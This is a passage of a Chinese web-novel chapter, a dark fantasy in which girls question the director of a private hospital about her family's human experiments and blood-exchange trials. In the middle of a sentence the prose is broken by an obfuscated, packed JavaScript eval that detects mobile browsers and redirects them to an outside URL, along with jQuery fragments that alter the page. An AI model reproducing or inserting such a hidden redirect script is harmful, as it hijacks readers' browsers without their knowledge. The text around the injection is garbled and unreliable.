“你看见博蒙院长了吗?她最近如何?”RP-e315问犬山晓,声音以近乎震荡的形式传入犬山晓的耳膜,她皱眉了。 “看着很累的样子,不过我去见她的时候她说她今天就要死了,所以和你一样很兴奋,你知道这是怎么一回事吗?”犬山晓问,她意识到,RP-e315也是准备去送死的吧。 “哎呀,这个我还真不知道,博蒙院长也有开心的时候吗?就我听到的那些故事里,她好像永远不开心。”RP-e315把脸贴在犬山晓的头顶上说话,对这种共鸣感觉很神奇。 “好吧。”犬山晓也没打算从她这里问些什么最新消息。 “不过我可以告诉你院长她为什么不开心哦,这可是独家消息,只有很少人知道,是我无意中从血湖那里听来的,是惊天大秘密。”RP-e315这样说着,她迫不及待地想将自己听到的故事说出口呢。 “为什么?”犬山晓也挺好奇对方明明是院长,还似乎是什么大家族的传人,哪怕是压力很大也不会是那副半死不活的样子才对。 “是因为她的女儿,或者说妹妹?”RP-e315说。 “女儿和妹妹?”犬山晓没有很意外,毕竟博蒙按实际年龄算已经算个中年人了。 “不对不对!”RP-e315一副揭晓答案的模样,“是女儿又是妹妹!” “你在说什么?”犬山晓想回头看RP-e315却被她抱住了头,这下就像是她的头被对方端着一般,不过她不想和这个人计较这种事。 “好啦,我来解释,也就只有我可以解释了。”RP-e315说,“1969年,外面死的人超级多,所以这里也一片混乱,有人出生,有人死亡,有人打扫卫生。而博蒙-阿贝尔被她的长辈,在更早之前去另一个城市建立了大公司的科勒斯特-阿贝尔,从这里带走了。这里原先是阿贝尔家族预定的家族圣地,但圣地也得有人打扫卫生啊。至少明面上,这里不可避免地走向了衰败。” 犬山晓听着,这些陈年往事与她无关,但博蒙-阿贝尔背后的家族明显与人体实验有关。 “于是博蒙在另一个城市长大,接受家族教育,没有忘记朝拜虫子也没有忘记鞭打奴隶。她与科勒斯特指定的人结了婚,成为阿贝尔医学技术的继承人,后来生下了一个孩子。先说好,她的孩子和她的丈夫我都不认识也不了解哦,毕竟我没见过。”RP-e315的语气有些可惜。 “从结婚到生子,中间经历了太多的我不知道的事情,但我知道博蒙生孩子的原因是她下定了决心,为了家族事业贡献出自己的身体。” “家族事业是什么?而且科勒斯特哪去了?”犬山晓忍不住问道。 “就是她们也不知道科勒斯特哪去了才要博蒙贡献身体呀!你好笨哦。”RP-e315搓了搓犬山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778821|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓的脑袋,“至于家族事业就没法讲清楚了,简单来说,阿贝尔家族试图造神,并且是以阿贝尔的血作为基础造神,也就是说,阿贝尔家族希望族人成为神。” 借着受试者的嘴,这庞大家族的野心露出冰山一角,但也把犬山晓冷到了。 “这算什么。”她嫌弃地说。 神所处的位置应该在并且仅在宗教哲学领域,跑来另一边的话不知道会不会经历水土不服呢?谁来问一下? “不是有吗?你就能使用魔法呀?而且不需要接受实验。”RP-e315说,她没有在羡慕。 “这不一样。”犬山晓皱眉说,她不认为这些人的所作所为和魔法少女们是一样的,那些人只不过是追逐力量的疯子。被沾上她本人只会觉得晦气和恶心,若是艾克里普听到的话她恐怕难得的要生气了。 “哪里不一样?你身上的气息与我与我的同胞们是相同的!”RP-e315辩解说,不过她想要继续讲故事的倾诉欲压过了胜负欲。 “好吧,神无所谓。总之这个计划在这一脉到博蒙这代依旧没有实现,因为阿贝尔家族从未出现过任何一人身怀魔力,一个都没有哦?据我所知这个家族跑过好几个国家,已经有三四百年的历史了,虽然因为寿命而家族人员数量不多但一个都没有也是够倒霉的吧。她们甚至因为常年供奉奇怪的图腾,对注射那些东西产生了免疫力呢。”RP-e315笑嘻嘻地说,“不过现代科技给她们带来了希望!换血实验是她们最后的一条路啦。” “换血实验,这是什么东西?”犬山晓警惕地问。 “顾名思义,就是把身体里的血换掉,再多我也解释不了了,大多数接受这个实验的人都死的很快知道的细节也不多。以前实验室主理人还没换的时候换血实验反而是主流,注射只是辅助手段。”RP-e315嫌弃地说,“总而言之,博蒙院长的女儿出生后过了没几年,她就接受了换血实验,结果她即没有获得魔力,也丢掉了一直以来的所有记忆,而且一觉醒来丈夫死了女儿被改了姓氏,什么都不剩下啦,连‘你好’都不会说哦。” RP-e315省略了非常多的细节,犬山晓意识到对方只是个转述者,而且参杂了过多的个情绪,但即使是这样这个故事也是个彻头彻尾的悲剧。 “…那确实很惨了。”犬山晓顿了顿说,“记忆塑造人,她相当于是一个新生儿了。” 若是身体也变回孩童模样的话那还能干脆重新成长一遍,但若是身体还保持着成年人的样子,只有头脑像个新生的孩童,连语言都要从头学起,那确实是一场噩梦。 都说学习新的语言要趁年龄小的时候,因为那个时候语言系统和舌头都没有定型,这一点对于博蒙来说又该怎么理解呢? “院长她作为新生儿一般在营养液里泡着读了几年书,出来后身体不错,就是二十几岁样子的人脑子只有七八岁的程度,笑死人了不是吗?”RP-e315嘲讽地笑着,“那边的人让她接着学习自己从前学过一遍的东西,真是懂怎么恶心人的。” 这样算起来,那位坐在办公室里处理文件,看上去随时都有昏倒的可能性的人,若是算心理年龄的话居然也就是高中生的年龄,也就是和她们差不多。 犬山晓皱眉,她察觉到了一些不对。 “这很奇怪吧,如果科勒斯特曾经是那家公司的主要负责人,那她怎么会选择不去管公司事务就冒着那样大的风险进行没有确切结果的实验呢?”犬山晓问。 “那家公司被其它人抢走啦,不过这些我就知道的不多了,科勒斯特这个人我也不算熟悉。博蒙院长应该是知道也没有办法的吧?”RP-e315说着有些好奇,“不知道她20岁的身体却只有七八岁的智商,还要被告知自己拥有的一切被另一个人夺走时,是一种什么样的感觉呢。” RP-e315的语气天真无邪,似乎是真的想知道这是一种什么样的感受。她没机会了。 “而那个时候,一直陪在她身边的就是她的女儿了,那孩子也是可怜,自己的母亲存在和不存在没有区别,自己的位置也很难堪,不过她很快矫正了观点,管自己的妈妈叫起了姐姐。两个人倒是和谐地相处了一段时间呢。”RP-e315说着可怜,语气却是高兴的。 “一段时间?”犬山晓问,她觉得这个和谐大概也不是她想象的那样和谐。 “后来,那个孩子在5岁时觉醒了魔法的资质,她本就因背景特殊而被特别照顾,这下直接被作为天使的一员被带走培训了,代号是叫格雷伊来着,博蒙她偶尔会一边喝酒一边念叨呢。”RP-e315说着,语气有些向往。她想喝酒。 “格雷伊!”犬山晓恍然大悟,“你说的这家公司就是Evo啊!” “好像是叫这个名字?不过不重要啦。”RP-e315接着说,“总之唯一剩下的人居然就这样成为了仇人的手下,院长她当然是气得要死啦,一边对自己的妹妹和女儿破口大骂,一边对公司那边的人恨之入骨又没有办法,她本来脾气就不好,她女儿可惨啦。” 以RP-e315那叙述者的语气,犬山晓能窥见部分血脉相连的二人互相伤害的碎片。 “我明明让她滚远点,却总是恬不知耻地粘过来,怎么骂都骂不走,很恶心吧?”博蒙的肩膀因情绪激动而起伏,她甚至无法维持自己的仪态,只顾着大声咒骂,“为什么要对我微笑?那算什么,炫耀?明明自己知道自己是谁却还是向那些家伙摇尾乞怜,还想让我也一起?这个人真的知道尊严两个字怎么写的吗?” 那个平静傲慢地坐在办公桌上的人不见了,取而代之的是个因突如其来的情绪无法控制自己的疯子。森山寺未央知道这种情况通常情况下是需要镇静剂的,但已经没有人在乎这一点了。 森山寺未央没有亲眼见过格雷伊,但就她知道的一些信息来说,格雷伊除去作为天使的身份之外并不是一个多么难相处的人,若不是敌对的关系,或许她们会有聊聊的可能。更何况她现在对人体实验的过程有所了解,更加无法去厌恶作为工具的天使。 “你们是什么关系?你这么骂她?”恨意不需要理解了,字写在嘴里,森山寺未央不明白这恨意从何而来,但她的问题却彻底激怒了博蒙。 “我们是什么关系?我恨不得我们没有关系!她算什么?我算什么?她把我当她的什么?真是恶心!”博蒙不顾仪态地放纵自己大声咒骂,或许她早就想这么做很久了,事到如今终于不需要克制,“那一段陪伴的记忆无时无刻不在令我感到反胃。她为什么不干脆当作我是个陌生人,或者干脆当我已经死掉了呢?这样对我们双方都好不是吗?” 她似乎是想尖叫,但碍于礼仪限制做不到,只能无声地喘气。 森山寺未央坐在椅子上有点手足无措,她的父母也教育她遇到危险最好是先跑。但是比起跑,她更希望从博蒙这里得到有用的信息,这是她该做的。 好在博蒙被困在窗户与办公桌之间的空间内,没有跳出来的意思。 “格雷伊从博蒙离开营养液就开始受她的冷落,不过这也正常,如果你五六岁每天看见有个比自己大的女孩喊自己妈妈,说不定你的反应更大呢。博蒙只是对格雷伊不理不睬,而后来格雷伊改口喊她姐姐,两个人才能逐渐以正常的方式相处。” “我怎么可能不知道她想从我这里得到什么?做梦去吧!我绝不会给她爱的。她已经拥有足够多的东西了吧?我才是一无所有的那一个凭什么要爱她?”博蒙的青色发丝在阳光下如同异常的生物一般飞舞,那并不是与天使们的发色一样的蓝,发根处有明显的绿色,能看出染色的痕迹。 “我会不知道她在想什么?她想要的东西我要怎么给?她的妈妈到底是谁啊?凭什么在我的脑子里转来转去?那些过去到底和我有什么关系?为什么充满期待地看着我?恶心死了!” “为什么要给我发信息?每次看见你的信息我就感觉自己中了一枪。” “为什么说想见我?每次想起你的样子我都感觉自己在心口被刺了一刀。” 虽然嘴里尽是些谩骂的语句,但博蒙的脸色并没有因为宣泄而变得轻松一些。她昏黄的眼眸因激烈的情绪灿烂到近乎要裂开了,黑眼圈如影随形。 “但博蒙一直觉得格雷伊还在将她看作母亲的替身,这令她感到割裂。更糟的是,在换血实验的影响下,博蒙偶尔会做梦梦见自己失去的记忆,那些有用的东西还好说,梦里她在实验前还挂念着格雷伊,并与她告别,那可真是温馨幸福的回忆啊,一家三口什么的。” “我才不会给你,我是我,我会负责好一切,我不会把这具身体让给你,所以,我绝不会爱你。”博蒙气喘吁吁,一字一句,咬牙切齿地说,“我宁愿死。” 而“死”这个字又瞬间将她从那些情绪中抽离出来。 “啊,对啊。”博蒙如梦初醒,她这才意识到自己的失态,又变回了那个仪态无任何过时的贵族,“我马上就要死了,这些都没关系了。在客人面前有失礼仪可真是不应该的,不过请包容一个将死之人吧?” 没有人怪她,或者说,若是不提及那个人的存在,她就能一直平静下去。 森山寺未央只是将对方说的内容零零碎碎记了下来,她不是很能理解其中的感情,而且也无法从那些宣泄中得到多少有用信息。她依然不知道格雷伊和博蒙是什么样的关系,但她实在不想再面对暴怒疯狂的人了。 “你怎么知道你要死了?要杀你的是谁?是天使吗?”森山寺未央冷静地问。 “因为你们出现在了这里,你们的出现意味着不得不做出抉择的时间到了,若是这里即将出现什么事情,那我便是最好的负责人了。”博蒙理了理发丝,看向窗外,又嫌恶地避开了光线,“日子就快到了,我的也是。” “那是什么意思?我们过来的时候确实有人跟踪,但那些都被甩掉了。”森山寺未央追问。 “你们不知道你们有多烫手吧,从很久以前她就在看着你们了,你们所做的一切阻止不了她的行动,但你们挣扎之后有可能活下去,我不同。”博蒙这样说着,脸上露出了幸福的微笑,“我的死亡一定会令谁痛苦万分吧,没有比这更好的陪葬品了。” 对博蒙-阿贝尔而言,摆脱这一切便是现在的她的最好的结局了。 “幕后黑手知道我们会来这里销毁这里的实验室,有人要为此负责,而你是那个牺牲者,我可以这样理解吗?”森山寺未央问。 在森山寺未央的理论中,这里的实验室被销毁在幕后黑手眼里是必然的结果,这也代表着对方一定有着除此之外的据点,这个据点的位置尚且还不明确。 但若是神脉医院地区的实验室被销毁,那背后涉及的大量利益纠纷,人际关系,政治正确就得有人为此负责了。别的不说,就那些经受人体实验的孩子们的存在就足够引来大量的关注。 必须给关注者一个交代,这与之前的野兽袭击事件不同,人体实验是彻彻底底的人为作恶,一定有谁在为了什么目的造就了这一切。 原因不是那么重要,重要的是正义。 而现在她知道了,正义即将审判的那个罪人已经在15年前向命运低下头,将脑袋放在断头台中等候铡刀落下了。 而之后的余震就与她无关了。 森山寺未央忽然想起市区帮派成员的做法,或许那是有人想要趁即将到来的余震做些什么。 “不,我是殉道者,我不曾走向自我毁灭,也不曾放弃源于阿贝尔的医学和研究。”博蒙下巴微微抬起,她回答这个问题时毫不犹豫,“博蒙-阿贝尔要做的事已经做完了。” 她的面色还苍白,眼神还疲惫,长久的失眠令她时常处于眩晕状态。她身体腐朽,但灵魂却已下定了决心。 “说实话,我没办法理解你,不过你说的这些我都记下了。”森山寺未央说。 “那就足够了。”博蒙笑了。 43.novem “在你就任之前的这里的院长你有印象吗?名字应该是叫Matora。”森山寺未央问。 “我们没有什么交流,她本不是这里的人,给我留的东西少得可怜,不过也足够我应付初期的工作了。”博蒙想了想,补充说,“如果你们去孤儿院那边的话能在顶楼找到她之前用的办公室,不过那里荒废了很久,现在大概就是个储藏间了吧。” “那里我们去过了,我们找到了一些文件和实验记录。我们发现医院重建之前和重建之后的信息差异有些大,除了设备原因外还有其它原因吗?”森山寺未央追问说。 “这我就不清楚了,她并不是我找来的人,医院的重建和她的关系没有那么大。”博蒙优雅地摊了摊一只手。 “你说,她,Matora是女性吗?官网上不是说是男的吗?”森山寺未央意外地问道。 “至少我见过的那位没有做变性手术的打算,头发白的太早的女人,十多年前大概四十多岁吧?”博蒙回忆着说。 这与森山寺未央印象中的Matora形象大不相符,白发四十多岁的女性并不算少见的特征,但Matora的官方网站照片虽然是长发但毫无疑问是个男性,除非他因某件事一夜白了发并且在中年有了孩子的情况下忽然觉醒了新的性别意识。 “医院重建之前的院长和医院重建后到2009年之前的院长并不是同一人,对吧?”森山寺未央确认她们的猜想。 “当然不是,重建之前这里根本没有过医院。”博蒙皱眉说,“重建前的事务我不关心。” 森山寺未央有些疑惑,但先将这件事记了下来。 “关于医院重建的事情您知道多少?”森山寺未央问出了她最为在意的问题。 “这个是个会让我脖子断开的问题,有人对这件事恨得牙都要咬碎了吧。”博蒙露出了讥讽喜悦的笑容,“我尚且还需要留着这条命,换一个问题吧,如果你们足够努力的话这个问题会有别人替我回答的。” “这个人是谁?”森山寺未央皱眉问。 “到底是谁呢?”博蒙漫不经心地说。 森山寺未央心里忽然有了个想法。 “医院重建时有清理湖边的芦苇吗?”森山寺未央问。 “奇怪的问题,不过这件事我确实知道。”博蒙理所当然地说,“医院重建还是用的我的资产,当然要符合我的审美,我不会让那种植物留在我的领地上。” “你的资产?你是说这里吗?”森山寺未央指的是神脉医院。 “当然还有那家现在坐着一个杂血的CEO的公司,”博蒙不屑地说,“现代的医疗设备比起过去算是改头换面了,一家社区医院能有什么收入?你一个高中生根本没办法想象吧,我个人可以支配阿贝尔家族在这个国家的所有私产,不过我死去之后就不得而知了。” 她好像是在炫耀什么。 “那现在这里的收入就很高吗?医院这里,你们做人体实验总得有经济支持,这个支持难道是全部由你的私产和Evo的收入支持的吗?那个CEO是重要参与者?”森山寺未央问。 “重点在于药物,以及位置,更多的就不能说了,不过你们或许马上就会了解到了,不会让你们等很久的,她等不了。”博蒙笑着说。 森山寺未央发现这个人特别喜欢说话说一半,她也没办法强迫对方继续,只能自己推测后面的东西。 “那你能说一会要来杀你的人是谁吗?幕后黑手是谁?”森山寺未央问。 “很遗憾。”博蒙垂眼。 “那些人到底想做什么?”森山寺未央继续问。 “谁知道呢?或许是和我们家族完全相反的东西吧。”博蒙说着,再次看向了墙壁上的族徽,“无论是芦苇岸还是这里,都是属于阿贝尔的领地,但以后就不好说了,好在我会死在那之前。” 她是乐观的。 “说起来为什么你们的姓氏是外国人的姓氏啊。”森山寺未央问。 “现在才问吗?”博蒙挑了挑眉,“大概两个世纪前,我们一脉搬迁两个国度最终来到这里定居下来,与本地人打好了关系后就算半个本地人了。那个时候我们家族内产生了一些纠纷,亚贝琉和阿贝尔分割,但明显现在我们家族的人数已经不足以产生内乱了。” “亚贝琉和阿贝尔原本是一脉相承的吗?”森山寺未央问。 “确实如此,”博蒙单手撑着下巴,眼里闪过了昔日的景象,“无非是抵达这个国家的先后顺序而已,却产生了无法抚平的分歧,但无论如何只要能达成最终的目的,无论多大的分歧终归源自同一条枝干。本该如此,但可惜,现在只能指望另一边了。” “那些天使都姓亚贝琉,但她们明显和你不是一脉的吧。她们都是实验室人体实验的牺牲者。”森山寺未央问。 “天使是我们制造的近侍,本来是罐头里的消耗品,只不过现在有人觉得这太奢侈了给了它们更长的生命,也不归我们所有了。”博蒙无所谓地说。 “阿贝尔家族的目标是什么?”森山寺未央忍不住问了。 到底是什么样的目标会让一个家族上下所有人抛弃人性投身到人体实验中去? “…我们的家族在另一个国家曾经是神的代言人,有奇迹作为证明,阿贝尔家族是不朽的化身。”博蒙说着,语气低沉了下来。 森山寺未央心里思索,长寿确实很能令人信服。 “我们所制造的奇迹太多了,那些受了恩惠的聚集在一起想推翻什么,于是我的祖先感到愤怒,决定将力量握在手里,自己成为神的化身。但我们总是这样不幸,再多的素材堆积也无法抵达奇迹,那并不是一个概率。” 说到这里,博蒙的语气近乎是在叹息。 但森山寺未央没去理解她的遗憾还是其它什么情绪,她只是觉得愤怒,愤怒那些孩子们的生命被一个个投进实验室里,只因为一个看不到头的,荒谬的目标。 “所以你们就强迫那些孤儿接受人体实验吗?作为你们成神的垫脚石?”森山寺未央愤怒地质问。 “是的。”博蒙面不改色地回应。 这个回应太理所当然了,仿佛她发自真心地认为天生如此。 “你们没有把那些孩子当作人看吗?”森山寺未央想起那些实验记录。 “…你居然把人类当作同类看待吗?放弃吧。”博蒙却是疑惑地看向神情激动的是森山寺未央,“早一点放弃就少一些痛苦,这一点你也是能理解的才对吧。” “你在想什么?我当然是人类啊?!我有家人和朋友,她们也都是人类!”森山寺未央愤怒地说。 “这样啊。”博蒙若有所思,“所以你们才如此烫手,我不打算纠正你的或者我的想法,不过如果你这样想的话,最好珍惜她们吧。” “什么意思?你们会对我们的家人动手吗?”森山寺未央大惊。 “…这是一方面,也有另一方面,你到了那一步就会知道了。”博蒙面不改色地说,“如果那些人觉得有必要的话就会去做,在这方面我更有人情味一点哦。” “净会扯些谎话!”森山寺未央惊怒着说,“你们没一个好东西,你根本就没有珍视的东西吧?这么随意地将生命作为道具使用,你怎么敢说自己有人情味的?” 博蒙不说话了,她愣愣地坐着,过了一会才再次开口。 “反正我要死了,无论是什么都会失去,都无所谓了吧。”她说。 之前每次提起自己的死,博蒙都会如抽了一口烟一般平静下来,可这次她没有,但森山寺未央也不在乎她的想法。 “如果我们在这里杀了你会怎样。”森山寺未央压抑着愤怒问。 “我会想办法挣扎一下。”博蒙笑了。 一旁犬山晓坐过的那把椅子的椅背忽然抬起,一个黑色的小孔对准森山寺未央的脑袋。 “后来博蒙大概是终于忍不了了,和公司那边的人商量之后跑来这里当了院长,但殊不知在这里她离血湖更近了,每天她都得亲自带着RP-d去血湖岸边倾倒,那血腥味和精神影响是她夜晚无法入眠的最大元凶啦。”RP-e315笑嘻嘻地说。 对于以孩童的身体度过长年累月的RP-e315无法理解以成年人的身体度过那些如孩童般的无助岁月的博蒙-阿贝尔的。 按照2009年往前推的话,博蒙-阿贝尔作为新生者来到世间不过四五年尔尔,她将自己过去的使命,知识,以及无法处理的感情浓缩到这最多五年的时间里去消化,说一句消化不良都算是好的。 在那时她如何处理身为女儿,身为陌生人,身为妹妹的格雷伊向她投递,向她索取的那些感情,已经不为人知了。 毕竟满打满算犬山晓与她见面的时间不过五分钟,连“第一印象”都没加载出来。 但就RP-e315那些不知是否属实的评价来说,那绝不是什么能被爽朗地表达出来的感情吧。 以目前得到的信息而言,博蒙所经历的一切都是源自一次换血实验导致的悲剧,在那其中的家族的传承和使命犬山晓无法理解,在她看来没有什么比原本幸福的家庭破碎更为难以承受的结果了。而博蒙早知道可能会有这样的结果还参与实验,犬山晓就只能认为她是自作自受了。 “你也是吧?因为血湖的精神影响而被迫住院什么的。”犬山晓说。 “确实如此,我在的病房有一定的封印之匣的效果,能减弱这种感知,一定程度上延长我的使用期限,不过事到如今怎么延长都没用啦。”RP-e315毫不在意地说,“我最清楚不过了,哪怕我一直在病房躺着,最多后天我就要死了。” “封印之匣,那是什么?”犬山晓念叨这个名字。 “是40多年前一个外面来的人带过来的技术,听名字也能听出来是博蒙家族的东西吧?”RP-e315说,“神脉医院这个名字也是,也就是这里是私人医院了。我都不敢想如果我没死,以后出去和别人自我介绍说我来自神脉医院,那得多有意思。” 一直以来待在实验室中的她从未理解过“外面的世界”是什么样的,只能偶尔从那些梦游者的呓语中窥探一些主观视角的陈年往事,而那些梦话多是感情的碎片,天知道RP-e315攒了多久才梳理出来这么一个完整的故事。 而故事中的那些配角,那些地方,她连理解的渠道都没有。 “你倒是乐观?”犬山晓也不知道该说什么。 “能亲眼看到血湖我超高兴的!不过一会接近了血湖我的精神状态会受到影响,有问题最好快点问哦。”RP-e315满足地说,她似乎将听到的东西憋了很久,总算有人能听她说话了。 犬山晓将故事记在了笔记上。 “不过先来评价一下吧,这也是讲故事的乐趣所在,你对这个故事的评价是什么?”讲故事的人发问。 “…像是一出惨剧。”犬山晓如实评价,“过程的每一个转折都生硬又悲惨,如果是编的,那就是为了悲剧而悲剧的坏剧本吧。” “现实又不是故事!”RP-e315自觉带入了编剧视角,语气不满,“而且这样看的话她,她们不是反派吗你同情什么?我在问你对那些人的看法,人!” 也对,事实已经发生了,总不能够是编出来的,犬山晓心想。这里只有她和一个实验品,她说出什么话来都不会有什么是不对的,不用担心有人发现她的不同之处。 “我觉得,只是我觉得啊。”犬山晓说,“我觉得家人果然应该去珍惜一下吧,故事里的人,博蒙,格雷伊,她们是家人不是吗?又是姐姐又是妈妈那不是应该更亲了吗?我实在是不理解恨是怎么出现的。” 或许是因为真相将至,她也没那么急迫了。 “什么嘛,你的思想好无聊!”RP-e315非常不满这种毫无新意的评价,“什么叫不理解恨是怎么出现的,我不是说的很明白了吗?博蒙恨格雷伊背叛阿贝尔家族,背叛阿贝尔家族也就是背叛她。而且她的个人存在价值也被摧毁了,这还不足够吗?” 很明显RP-e315完全不打算解释自己对家族,对背叛,对恨的理解。 “…先不说她有没有那么在意阿贝尔家族的存亡吧。”犬山晓想起博蒙那副因为死亡降临而轻松的脸,“个人存在价值不是后天构建的吗?格雷伊绝对不会伤害博蒙的吧,她怎么会摧毁博蒙的个人存在价值呢?而且说到底个人价值到底是什么啊?” 犬山晓不太懂哲学,个人存在价值似乎不能和工资完全划等号,她不理解这个概念。 “好吧,其实我也不是很理解,这个词也是我听来的。”RP-e315搓了搓犬山晓的脑袋,“不过大概就是,觉得自己一无是处,什么都做不到还不如去死,这种感觉吧?” “那不就更不可能了吗?”犬山晓想叹气了,“我说啊,你能理解家人的概念吗?她们无论是姐妹还是母女,彼此之间都不可能互相伤害到这种程度的吧?” “…我的血湖母亲很爱我。”RP-e315嘟囔着说,她确信。 “血湖到底要怎么才能成为母亲?”犬山晓质疑道,“血湖不会抱着你,不会安慰你,不会关心你,它要如何才能成为你的母亲?” 很明显,犬山晓对母亲的功能了解是比较片面的。 “你没有母亲吗?”RP-e315忽然问道。 “…我不记得了。”犬山晓说,又后悔觉得或许这里可以坦诚一些。 “母亲啊,不是那样的存在。”RP-e315轻轻地说,“拥抱,轻声细语,爱,确实是很好的东西。但是一个母亲没有那些东西也可以是一个母亲,我不理解很多东西,但是如果我呼唤说:妈妈,或者母亲,我能感受到,血湖在回应我。” 她的语气真挚,犹如诉说自我的真理。 “那又如何呢?回应你,那又如何呢?我也可以回应你啊?”犬山晓质疑道。 “你不如也考虑回归血湖吧?忘记了也没关系,灵魂不会说谎,或者说一切其实都不必在意的。”RP-e315劝诱道,“回到母亲那里,回归母国,母权是不可违背的,因为你永远会爱你的母亲。你说你不记得了,可出生的人怎么会不渴望回归呢?” RP-e315谈起这些话就没有结束的打算,犬山晓没有回应这个问题。 “同理,博蒙与格雷伊也是如此,伤害,憎恨,厌恶,咒骂,与回归是可以同时存在的。但那一定是一条非常痛苦的路吧。”RP-e315叹了口气,“要我说大家就应该一起回归血湖,没有你我爱恨之分,真诚才是最美好的品德啊。” “你这些话听上去太像传教的了,我没有入教的想法。”犬山晓评价道。 “我早就看出你是个固执的人了,算了,你迟早会意识到的。”RP-e315无所谓地说,“现在是提问时间。” “那先把实验室的地址告诉我。”犬山晓也不客气。 “从综合实验楼的停车场坐专用的小火车,到目的地后坐中间那个电梯下到3楼,通过层层验证就是啦,那边的验证比血湖这里的简单多了!”RP-e315说得很干脆。 电梯缓缓下行,犬山晓将信息记下。 “接下来是天使,你知道天使一共有几位,各自的能力是什么吗?”犬山晓问。 “天使不过是那些器官的器皿,虽然可贵但也并非唯一的存在,根据不同性能得到不同的代号,你之前有遇到过天使吗?”RP-e315问。 “遇到过,我把她的心脏击碎了。”犬山晓说。 “这样不行哦,得把全身都碾碎才行,天使的器官是其魔法源,而且是可以移植的!”RP-e315如广告推销员一般说。 犬山晓想起自己为了资金贡献的大量器官,不由得有种搬石头砸自己脚的痛感。 “好吧,那那些天使得有个领头人吧,这个人是谁你知道吗?”犬山晓问道。 “知道!是一位只有一只眼睛的女士,代号是叫行刑者来着,她也接受了换血的手术,但是相当成功呢,她有办法让天使听话,具体是什么我就不知道了,那些天使的尸体没有回归过这里的血湖。”RP-e315不满地说。 犬山晓将信息记了下来,根据特征,这个人应该就是湛了。 “哦哦,越来越近了,快点问问题吧!”RP-e315激动地摇晃犬山晓的脑袋。 “这一切的幕后黑手,你有什么线索吗?”犬山晓歪着脖子问。 “我也很想知道,但这个人即没有做过换血手术,也没有明目张胆地在这里出现过,很神秘的一个人。不过在故事中她的代言人倒是经常出现呢。”RP-e315说。 “是谁?”犬山晓追问。 “代号叫报丧鸟,头发像月光一样,身边总是带着些稀奇的东西,很强壮的人,她很强哦,而且最近学会了用很奇怪的魔法。”RP-e315说出自己的印象,她的语气有些无精打采了。 犬山晓心想这两个人的代号有够不吉利的。 “什么魔法?”犬山晓问。 “说话的魔法。”RP-e315说着,电梯到达了最下层。 电梯门打开,犬山晓眼前是一片昏暗的空旷区域,容量宽广但未能起到实用效果,放眼望去走廊一眼看不到头,只是偶尔冒出一扇门。电梯出口处左手边有着一辆大型手推车,类似于仓储式超市中用于运货的那种,上面有些污渍。 除此之外整片空间什么都没有,电梯门没有关上的迹象,犬山晓回头看,发现电梯门的旁边没有可以上去的按钮。 “那些人把对象往手推车上一放就得走,所有电梯口都通向这个空间,电梯停五分钟,一会你自己想办法回去吧。”RP-e315毫不在乎地说。 【这个电梯只能下不能上,麻烦一会过来接我一下。】犬山晓尝试给森山寺未央发送传音,这里一点手机信号都没有。 【好的!我差不多十分钟后过去。】森山寺未央回应说。 犬山晓松了一口气,她抵达这里时心脏的跳动就开始加速并且不规律,缘由不明,可能是紧张,可能不是。这种感觉太糟糕了,她不想在这里多停留。 “一直往前走,走到尽头有扇门,门开了是一座电梯,那个电梯倒是随意上下的,不过只有院长的钥匙卡能开。”RP-e315说,她相当熟练。 按照她的直视,犬山晓朝深处走去,她的脚步很轻但这里实在是太安静了,她的脚步声很响。 “旁边的那些门就是其它建筑楼电梯通往这里的门吗?”犬山晓问。 “是的,最靠近里面的就是孤儿院那边的电梯哦?那边的电梯还可以下行到孤儿院下方的观察室哦你可以去看看。”RP-e315分享道。 犬山晓没有再回应,而是加快了前进的步伐。 格雷伊控制司机在神脉医院大门门口急刹车,她快速地跳出了车门,安保人员见状降下了保安亭的窗户。 “请问您有预约吗?”工作人员警惕地问。 格雷伊当然是没有,她指尖的血线从窗户探入,缠绕上对方的脖子,很快,大门被打开了。 见状格雷伊也不回车上了,抬腿就准备往医院内部跑,临走前她回过头问工作人员。 “院长办公室怎么走?” “综合医疗楼,二楼。” 说罢,格雷伊断开了血线,那安保人员头栽倒在工作台上。 快一点,再快一点,格雷伊焦急地往综合医疗楼跑。 那四个人都不是会主动杀无辜者的人,可她心里清楚博蒙-阿贝尔绝不是无辜的,她不隐瞒自己所做的任何事,也对自己所做的一切引以为傲。 而杀死这样一个恶徒甚至不需要犹豫的理由吧。 综合医疗楼大门处,格雷伊在考虑要不要直接破坏需要钥匙卡的入口,下一刻门自动打开,她抬脚就准备走进,却看见了脚步匆匆准备离开的森山寺未央。 “你——”格雷伊惊怒地抓住森山寺未央的手臂,心里涌起一阵坏预感。 而赶往住院楼的森山寺未央吓了一跳,她还以为自己被安保人员抓住了,但回头一看却是一个她不认识的人,头发和半张脸都被明黄色的斗篷兜帽遮住了,看这穿着也不像是医院里的工作人员。 难道是医闹的?森山寺未央一阵怀疑,但她不想浪费时间,准备直接把对方的手甩开。 “你把她怎么样了?”格雷伊开口问,声带紧张地发抖。 “什么?你认错人了?我不是这里的员工。”森山寺未央感到莫名其妙。 “院长,你把院长怎么样了?”格雷伊重复了自己的问题。 森山寺未央恍然大悟,眼前这人八成就是博蒙嘴里说的今天要来处理她的人,说不定是天使的一员,她紧张地后退,用力把对方的手甩开了。 格雷伊的手停顿在半空中,颤抖着握紧,森山寺未央不理解对方为何是这幅态度。 “你要做什么?”森山寺未央问。 “她在哪?”格雷伊焦急地问,曾经懦弱的人没了影子。 “你是Evo那边派过来的人吗?”森山寺未央问。 “她怎么样了?”格雷伊问。 她的声音颤抖,半张脸下漏出部分视力器官,那空白处的红血丝难以忽视,但她依旧目不转睛地盯着森山寺未央。 这样下去不行,森山寺未央意识到对方的神色越来越紧绷,她环顾四周,好在附近没什么人,综合医疗楼西面有一处空旷的地方,森山寺未央抬脚往那里跑去。 但这一举动却让格雷伊惊怒交加,她那一直因紧张而高高耸起的双肩如链接断裂般落下,五指微张,十条血线垂落在地 